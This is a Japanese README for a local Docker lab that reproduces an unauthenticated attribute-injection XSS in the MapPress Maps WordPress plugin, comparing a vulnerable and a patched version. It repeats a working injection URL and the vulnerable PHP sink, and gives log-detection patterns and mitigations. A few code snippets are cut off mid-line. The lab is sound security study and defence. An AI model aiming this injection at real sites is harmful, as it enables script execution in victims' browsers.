
CVE-2026-56011を再現・検証するためのDockerベースのラボ。WordPress用MapPress Mapsの認証なしXSS脆弱性で、脆弱なターゲットとパッチ適用済みターゲットを比較できます。
このリポジトリには、WordPress用MapPress Mapsに影響を与える未認証のクロスサイトスクリプティング(XSS)脆弱性であるCVE-2026-56011を再現・検証するためのローカルDockerラボが含まれています。
MapPress Maps for WordPressは、WordPressのページや投稿内に地図をレンダリングするために使用されるWordPressプラグインです。この脆弱な動作は、mappress=embedリクエストパラメータを介して到達可能なiframeマップレンダリングパスに影響を与えます。
このラボでは、2つのMapPressバージョンを比較します。
| サービス | MapPressバージョン | 目的 | URL |
|---|
| vuln | 2.97.3 | 脆弱な比較対象 | http://localhost:8081 |
| patched | 2.97.4 | パッチ適用済みの比較対象 | http://localhost:8082 |
このローカルラボで実証される検証パスは次のとおりです。```text Unauthenticated browser request → GET /?mappress=embed → request supplies a crafted name value → vulnerable target renders name into an unquoted id attribute → injected onclick handler becomes a standalone HTML attribute → clicking the rendered MapPress component triggers alert(1) → patched target keeps the payload inside a quoted and escaped id attribute → clicking the rendered component does not trigger alert(1)
脆弱なターゲットはこの手動ブラウザURLを使用します:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
想定される脆弱性の結果:```text Click on the rendered MapPress component → alert(1) pops up
パッチ適用済みのターゲットは、MapPress 2.97.4 に対して同じペイロードを使用します:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
期待されるパッチ適用後の結果:```text Click on the rendered MapPress component → no alert appears
このラボは意図的に手動ブラウザ検証のみを使用します。PoC スクリプト、ブラウザ自動化、認証情報の窃取、外部コールバック、マルウェア、永続化、侵害後の活動、または外部システムへの攻撃は含まれません。
## 検証済みの事実
| 主張 | 証拠 | このラボでの検証方法 |
| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
| CVE-2026-56011 は WordPress 用 MapPress Maps に影響します。 | 公開アドバイザリは、影響を受ける WordPress プラグインを WordPress 用 MapPress Maps と特定しています。 | 参考文献セクションを確認し、両方の Docker ターゲットにインストールされているプラグインを検査します。 |
| このラボの脆弱な比較バージョンは MapPress 2.97.3 です。 | `vuln` サービスは `MAPPRESS_VERSION: 2.97.3` を使用してプラグインをビルドします。 | `docker-compose.yml` と `vuln/Dockerfile` を検査します。 |
| このラボのパッチ適用済み比較バージョンは MapPress 2.97.4 です。 | `patched` サービスは `MAPPRESS_VERSION: 2.97.4` を使用してプラグインをビルドします。 | `docker-compose.yml` と `patched/Dockerfile` を検査します。 |
| MapPress 2.97.4 で関連する iframe エスケープ修正が導入されました。 | 2.97.4 の公式プラグイン変更ログには `Added: escape in iframe` と記載されています。 | 公式の WordPress プラグイン変更ログを確認し、脆弱なソースとパッチ適用済みソースを比較します。 |
| 脆弱なソースは、マップ名を引用符なしで Web コンポーネントの `id` にレンダリングします。 | 2.97.3 では、`mappress_map.php` は `<mappress-map id={$name} ...>` をレンダリングします。 | 2.97.3 のソースと 2.97.4 のソースを比較します。 |
| パッチ適用済みソースは、`id` の値を引用符で囲み、エスケープします。 | 2.97.4 では、`mappress_map.php` は `esc_attr($name)` を使用して `id="` をレンダリングします。 | 2.97.3 と 2.97.4 のパッチ差分を比較します。 |
| iframe パスは認証なしで到達可能です。 | MapPress は `$_GET['mappress']` が存在するときに `template_redirect` を登録します。 | ログインせずにブラウザから `/?mappress=embed...` をリクエストします。 |
| iframe パスはリクエストからマップ属性を読み取ります。 | `template_redirect()` は `$_GET` をマップ引数にマッピングし、iframe レンダラーを呼び出します。 | `mappress.php` を検査し、手動 URL を再現します。 |
| 脆弱なターゲットは、`name` を介した属性インジェクションを許可します。 | 細工された name 値は、引用符なしの `id` 属性から抜け出して `onclick=alert(1)` になる可能性があります。 | 脆弱な手動 URL を開き、レンダリングされた MapPress コンポーネントをクリックします。 |
| パッチ適用済みターゲットは、テストされた属性インジェクション動作をブロックします。 | パッチ適用済みの出力は、完全なペイロードを引用符で囲まれた `id` 属性内に保持します。 | パッチ適用済みの手動 URL を開き、レンダリングされた MapPress コンポーネントをクリックします。 |
## 前提と不明点
このラボでは、公開アドバイザリが 2.97.3 までのバージョンを影響を受けるものとして特定しており、ソース差分がそのバージョンにおける脆弱な引用符なし属性レンダリングを示しているため、脆弱な比較ターゲットとして MapPress 2.97.3 を使用しています。
このラボでは、公開アドバイザリが 2.97.4 を修正版として特定しており、公式の変更ログが iframe パスにエスケープが追加されたと述べているため、パッチ適用済み比較ターゲットとして MapPress 2.97.4 を使用しています。
テスト対象の脆弱な動作は、認証なしの iframe レンダリングパスです:```text
GET /?mappress=embed&name=<crafted-value>
このラボでは、無害なアラートペイロードの手動ブラウザ実行に焦点を当てています:```text name=cve56011 onclick=alert(1)
このラボは、保存型(stored)配信チェーンを証明しようとするものではありません。一部の公開アドバイザリでは、この脆弱性を保存型XSSとして分類しています。このリポジトリは、ソースコード上で確認されたiframeレンダリングシンクと、未認証の`mappress=embed`ルートを通じてローカルで再現可能な脆弱版とパッチ適用版の動作の差異に焦点を当てています。
このラボでは、以下は実証しません:
* 保存型ペイロードの永続化
* WordPressアカウントの侵害
* 管理者セッションの窃取
* nonceの窃取
* 外部コールバック
* ブラインドXSSの収集
* 認証情報の窃取
* データベースのダンプ
* マルウェア
* 永続化
* またはラボ外のシステムへの攻撃
手動ブラウザ検証により、セキュリティ上重要なレンダリングの差異が証明されます:```text
MapPress 2.97.3:
crafted name value becomes executable onclick attribute
MapPress 2.97.4:
crafted name value remains inside the quoted id attribute
CVE-2026-56011 の根本原因は、MapPress が iframe マップ出力パス内で Web コンポーネントをレンダリングする際に、マップ name 値の出力エンコーディングが不正確であることです。
脆弱なコードパスは、リクエストからマップレンダリング属性を受け入れ、最終的にカスタム HTML 要素をレンダリングします:```html <mappress-map ...>
MapPress 2.97.3 では、マップ名は引用符なしで、属性コンテキストのエスケープなしで `id` 属性に直接挿入されます:```php
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
これは、値がHTML属性コンテキストで使用されるため安全ではありません。攻撃者がnameを制御できる場合、スペースを含む値が意図したid値を終了させ、新しい属性を導入する可能性があります。
脆弱な動作は次のように要約できます:```text Attacker sends unauthenticated iframe request → name = cve56011 onclick=alert(1) → MapPress sanitizes the value as text → sanitized text is still unsafe for an unquoted HTML attribute → renderer outputs id=cve56011 onclick=alert(1) → onclick becomes a standalone event handler attribute → user clicks the rendered component → JavaScript executes
重要な点は、一般的なテキストのサニタイズは、正しい出力エスケープと同じではないということです。
脆弱なコードはマップ名に対して `sanitize_text_field()` を使用していますが、その値が引用符なしのHTML属性に対して安全になるわけではありません。HTML属性では、スペースは属性を区切るため意味を持ち続けます。
したがって、セキュリティ上の問題は次のとおりです。```text
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS
パッチ適用版では、id 値を引用符で囲んでエスケープするようにレンダリングが変更されます:```php
return "
パッチ適用後の動作は、次のように要約できます:```text
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)
セキュリティの教訓は:```text Sanitize on input if needed, but always escape on output for the exact output context. For HTML attributes in WordPress, use esc_attr() and quote attribute values.
## ソースコード分析
ソースレベルでの問題は、MapPress 2.97.3 と MapPress 2.97.4 を比較することで確認された。
主要なレンダリングシンクは以下の場所にある:```text
mappress_map.php
脆弱なバージョンは、name 値を引用符なしの id 属性としてレンダリングします:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "
パッチ適用版は属性を引用符で囲み、値をエスケープします:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
リクエストに mappress クエリパラメータが含まれる場合、iframe ルートが登録されます:```php
if (isset($_GET['mappress']))
add_action('template_redirect', array(CLASS, 'template_redirect'));
iframeリクエストハンドラは、クエリパラメータをマップ引数にマッピングします:```php
$args = array_map(function($arg) {
if ($arg == 'true')
return true;
if ($arg == 'false')
return false;
return $arg;
}, $_GET);
ハンドラはその後、マップオブジェクトを作成またはロードし、リクエスト引数で更新します:```php $map = new Mappress_Map(); $map->update($args); $map->layout = 'left'; echo self::get_iframe($map); die();
The iframe helper renders the map content:
iframe ヘルパーはマップのコンテンツをレンダリングします:```php
$content = $map->display(null, true);
The display() パスは、指定された空でない name 値を保持します:```php
if (empty($this->name)) {
$this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div";
$div++;
}
これは、リクエストで提供された `name` 値が脆弱なレンダリングシンクに到達できることを意味します。
セキュリティに関連するフローは次のとおりです:```text
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>
生成されたマップ属性の残りは、属性を引用符で囲むヘルパーを通じて処理されます。脆弱な id レンダリングは特別です。name が取り出されて別途レンダリングされるためです。
これにより、脆弱な範囲は狭く、検証が容易になります:```text Only the web component id rendering needs to be compared. The vulnerable version renders id without quotes. The patched version renders id with quotes and esc_attr().
## ソースパッチの概要
MapPress 2.97.4 は、生成された `<mappress-map>` 要素の `id` 属性値をクォートおよびエスケープすることで、脆弱な iframe レンダリング動作を修正します。
脆弱な出力パターンは次のとおりです:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
この出力では、ブラウザが解析します:```text id = cve56011 onclick = alert(1)
パッチ適用後の出力パターンは次のとおりです:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
この出力では、ブラウザは次のように解析します:```text id = cve56011 onclick=alert(1)
独立した `onclick` 属性は作成されません。
セキュリティ関連のパッチは以下のとおりです:```text
Before:
id={$name}
After:
id="<escaped name>"
ソースレベルの修正は小さいですが、影響を受けるパスはiframe埋め込みエンドポイントを通じて認証なしで到達可能であるため、セキュリティへの影響は重大です。
このラボでは、ソースレビューとランタイム検証を分離しています:```text Source patch review: explains why the vulnerable version can create an executable event handler attribute.
Manual browser validation: proves that the vulnerable target can execute alert(1) and the patched target does not.
## ラボのアーキテクチャ
ラボは、Docker Compose を通じて 2 つの分離された WordPress ターゲットを実行します。```text
.
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── README.md
└── .gitignore
poc/ ディレクトリは意図的に存在しません。検証は手動かつブラウザベースです。
2つのWordPressサービスは、別々のデータベースと別々のWordPressボリュームを使用します:
| サービス | コンポーネント | バージョン / 役割 |
|---|---|---|
| db-vuln | MariaDB | 脆弱なWordPress用のデータベース |
| db-patched | MariaDB | パッチ適用済みWordPress用のデータベース |
| vuln | WordPress | MapPress 2.97.3を搭載した脆弱なターゲット |
| patched | WordPress | MapPress 2.97.4を搭載したパッチ適用済みターゲット |
| wpcli-vuln | WP-CLI | WordPressをインストールしてプラグインを有効化 |
| wpcli-patched | WP-CLI | WordPressをインストールしてプラグインを有効化 |
デフォルトで公開されるサービス:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
ラボでは、固定されたMapPressプラグインバージョンを使用しています。
| ターゲット | MapPress バージョン | 期待される動作 |
| --------------------- | ---------------: | -------------------------------------------------------- |
| http://localhost:8081 | 2.97.3 | 細工されたコンポーネントをクリックするとalert(1)が発動する |
| http://localhost:8082 | 2.97.4 | 細工されたコンポーネントをクリックしてもalert(1)は発動しない |
Dockerビルドは、各ターゲットの正確なプラグインZIPを、公式WordPressプラグインのダウンロードエンドポイントからダウンロードします。```text
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
WP-CLI サービスはラボ起動時に自動的に実行されます。各ターゲットに WordPress をインストールし、MapPress をアクティブ化します。
このラボは脆弱な MapPress ルートを作成または変更しません。ルートは、各ターゲットにインストールされている実際の MapPress プラグインバージョンによって提供されます。
Python の依存関係は不要です。
PoC スクリプトは不要です。
手動 XSS 検証に WordPress ログインは不要です。
クリーンな状態からラボを起動します:```bash docker compose down -v --remove-orphans docker compose up -d --build
サービスの状態を確認:```bash
docker compose ps
想定される実行中サービス:```text db-vuln db-patched vuln patched
想定される露出ターゲット:```text
http://localhost:8081
http://localhost:8082
WordPressのインストールとプラグインの有効化が完了したことを確認します:```bash docker compose logs wpcli-vuln wpcli-patched
想定されるセットアップメッセージ:```text
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete
セットアップが完了すると、WordPressのログインページは HTTP 200 を返すはずです:```bash
curl -i http://localhost:8081/wp-login.php | head
curl -i http://localhost:8082/wp-login.php | head
ルートページが一時的に `/wp-admin/install.php` にリダイレクトされる場合、WP-CLI のセットアップがまだ完了していない可能性があります。`wpcli-vuln` と `wpcli-patched` のログにセットアップ完了メッセージが表示されるまで待ってから、再試行してください。
## 手動アラート XSS 検証
このラボでは、ブラウザによる手動検証のみを使用します。
PoC スクリプトは含まれていません。
ログインは不要です。
### 脆弱なターゲット
ブラウザでこの URL を開いてください:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
レンダリングされたMapPressコンポーネントをクリックします。
想定される脆弱な結果:```text alert(1) pops up
セキュリティ上の意味:```text
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.
脆弱なブラウザ解析動作は以下と同等です:```html <mappress-map id=cve56011 onclick=alert(1) ...>
ブラウザはこれを次のように扱います:```text
id = cve56011
onclick = alert(1)
コンポーネントをクリックすると、イベントハンドラが実行されます。
ブラウザでこのURLを開いてください:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Click on the rendered MapPress component.
Expected patched result:```text
No alert appears.
Security meaning:```text The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.
パッチ適用後のブラウザ解析動作は以下と同等です:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
ブラウザはこれを次のように扱います:```text id = cve56011 onclick=alert(1)
実行可能な `onclick` 属性は作成されません。
## 期待される結果
### 脆弱なターゲット
手動ブラウザ URL:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
レンダリングされたコンポーネントをクリックした後の期待される結果:```text alert(1) pops up
期待される分類:```text
VULNERABLE_BEHAVIOR_OBSERVED
重要な脆弱性シグナルは次のとおりです:```text MapPress 2.97.3
### パッチ適用済みターゲット
手動ブラウザURL:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
レンダリングされたコンポーネントをクリックした後の期待される結果:```text No alert appears.
期待される分類:```text
BLOCKED_BEHAVIOR_OBSERVED
重要なパッチ適用済みシグナルは:```text MapPress 2.97.4
## 検証の仕組み
手動検証では、MapPress の iframe レンダリングパスにブラウザリクエストを送信します。```text
/?mappress=embed
リクエストには、巧妙に細工されたname値が含まれています:```text
cve56011 onclick=alert(1)
完全な脆弱性リクエストは次のとおりです:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
完全なパッチ適用済みリクエストは次のとおりです:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
MapPress 2.97.3 では、`name` の値が引用符で囲まれていない `id` 属性に挿入されます:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
属性が引用符で囲まれていないため、cve56011 の後のスペースが新しい属性の始まりになります。
ブラウザは出力を次のように解釈します:```text id="cve56011" onclick="alert(1)"
レンダリングされたコンポーネントがクリックされると、注入されたイベントハンドラが実行されます。
MapPress 2.97.4では、同じ値がエスケープされ、引用符で囲まれます:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
ブラウザはペイロード全体を単一の id 値として解釈します。
イベントハンドラは作成されません。
検証は意図的に手動で行われます。これは、ブラウザに表示されるXSSの動作を直接示すことを目的としているためです:```text vulnerable target → click → alert(1)
patched target → click → no alert
## 手動ブラウザ再現
ラボを起動します:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
セットアップが完了するまで待ちます:```bash docker compose logs wpcli-vuln wpcli-patched
想定されるセットアップ完了:```text
vuln setup complete
patched setup complete
脆弱なターゲットを開く:```text http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Click the rendered MapPress component.
Expected result:```text
alert(1)
パッチ適用済みのターゲットを開く:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
レンダリングされたMapPressコンポーネントをクリックします。
期待される結果:```text
No alert
ポートフォリオ記事用の推奨スクリーンショット証跡:```text
## 影響
CVE-2026-56011 は、認証されていない攻撃者が、レンダリングされたマップコンポーネントに JavaScript を注入する MapPress iframe URL を作成できるため、セキュリティ上重要です。
実際の影響は、悪意のある URL がどのように配信されるか、またどのユーザーがそれを開くかによって異なります。
考えられる影響には以下が含まれます:
* 被害者のブラウザでの攻撃者制御の JavaScript の実行、
* 影響を受ける WordPress オリジン内でのフィッシングまたは UI 操作、
* 同一オリジンの非 HttpOnly データへのアクセス、
* 追加のアプリケーション条件が許せば、被害者として実行されるアクション、
* CSRF トークンまたは保護されていないページデータの窃取、
* および信頼された WordPress サイトコンテキストの悪用。
このラボでは、無害なローカルアラートペイロードのみを実演します:```text
onclick=alert(1)
このラボでは、セッション窃取、認証情報の窃取、管理者アカウントの乗っ取り、悪意のある外部 JavaScript の読み込み、ブラインド XSS の収集、または公開された WordPress サイトへの攻撃は実証していません。
本番環境での実際のリスクは、以下に依存します:
潜在的な指標には、MapPress の iframe レンダリングパスへのリクエストが含まれます:```text GET /?mappress=embed
不審なクエリパラメータには、`name` パラメータに JavaScript 関連の文字列が含まれる場合があります:```text
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...
高シグナル検出のアイデア:```text HTTP request contains: mappress=embed AND name parameter contains an event handler pattern such as on*=
不審なリクエストの例:```text
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
確認すべきWebサーバーログまたはテレメトリの候補:
mappress=embed リクエスト、name の値、推奨される監視アクション:
mappress=embed を確認する。%20onclick%3D のようなエンコードされたペイロードを検索する。name パラメータ値に対してアラートを出す。WordPress用MapPress Mapsをバージョン2.97.4以降にアップグレードしてください。
関連するパッチでは、iframeマップ出力が変更され、生成されるWebコンポーネントの id 属性が引用符で囲まれ、エスケープされるようになります。
セキュリティ関連の動作:```text Before: id={$name}
After: id=""
推奨される緩和策:
* WordPress用MapPress Mapsを2.97.4以降にアップグレードしてください。
* ラボ比較バージョンで止めずに、利用可能な最新のプラグインバージョンを推奨します。
* インストール済みプラグインのバージョンが影響を受ける範囲に含まれていないことを確認してください。
* 更新後、ページキャッシュとCDNキャッシュをクリアしてください。
* 不審な `mappress=embed` リクエストがないかアクセスログを確認してください。
* 不審な `name` パラメータ値がないかログを検索してください。
* イベントハンドラを含む `mappress=embed` リクエストに対する一時的なWAFルールを検討してください。
* WordPress管理機能への不要な露出を制限してください。
* 互換性がある場合は、制限の厳しいContent Security Policyを使用してください。
* WordPressコア、テーマ、プラグインを更新し続けてください。
セキュリティエンジニアリングの教訓:
* すべてのHTML属性を引用符で囲んでください。
* 正確な出力コンテキストに合わせて出力をエスケープしてください。
* WordPressのHTML属性出力には `esc_attr()` を使用してください。
* 出力エスケープの代わりに `sanitize_text_field()` に依存しないでください。
* iframeおよびショートコードのレンダリングパスに対する回帰テストを追加してください。
* カスタムタグも通常のHTML解析ルールに従うため、カスタムWebコンポーネントのレンダリングを確認してください。
## 安全上の境界
このラボは、ローカルでのセキュリティ調査および管理されたデモンストレーションのみを目的としています。
所有していない、または明示的なテスト許可がないシステムに対して、手動XSS URLを使用しないでください。
このラボでは、実際の本番環境の認証情報、顧客データ、支払いデータ、APIキー、データベース資格情報、または本番環境の秘密情報を使用しないでください。
対象範囲は、ローカルDockerサービス、たとえば次のようなものに限定されます:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
手動ペイロードは意図的に無害です:```text onclick=alert(1)
このラボには、以下のペイロードは含まれていません:
* クッキー窃取、
* 認証情報窃取、
* CSRFトークン窃取、
* 管理者操作の悪用、
* 外部コールバック、
* ブラインドXSS収集、
* マルウェア、
* 永続化、
* フィッシングキット、
* ブラウザの悪用、
* ラテラルムーブメント、
* 顧客データへのアクセス、
* またはラボ外システムへの攻撃。
目標は、管理された環境で特定の1つの技術的状態を実証することです:```text
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute
コンテナ、ネットワーク、ボリュームを停止して削除します:```bash docker compose down -v --remove-orphans
必要に応じて、ローカルでビルドしたラボイメージを削除します:```bash
docker image rm cve-2026-56011-vuln cve-2026-56011-patched
ラボコンテナが残っていないことを確認してください:```bash docker compose ps
## 参照
* CVEレコード: CVE-2026-56011
https://www.cve.org/CVERecord?id=CVE-2026-56011
* NVD: CVE-2026-56011
https://nvd.nist.gov/vuln/detail/CVE-2026-56011
* WordPressプラグイン: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
* WordPressプラグインの変更履歴: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers
* Patchstack: MapPress Maps for WordPress <= 2.97.3 XSS
https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability
* Wordfence Intelligence: MapPress Maps for WordPress <= 2.97.3
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/
* WPScan脆弱性データベース: MapPress Maps for WordPress < 2.97.4
https://wpscan.com/vulnerability/
* WordPressプラグインのダウンロード: MapPress 2.97.3
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
* WordPressプラグインのダウンロード: MapPress 2.97.4
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip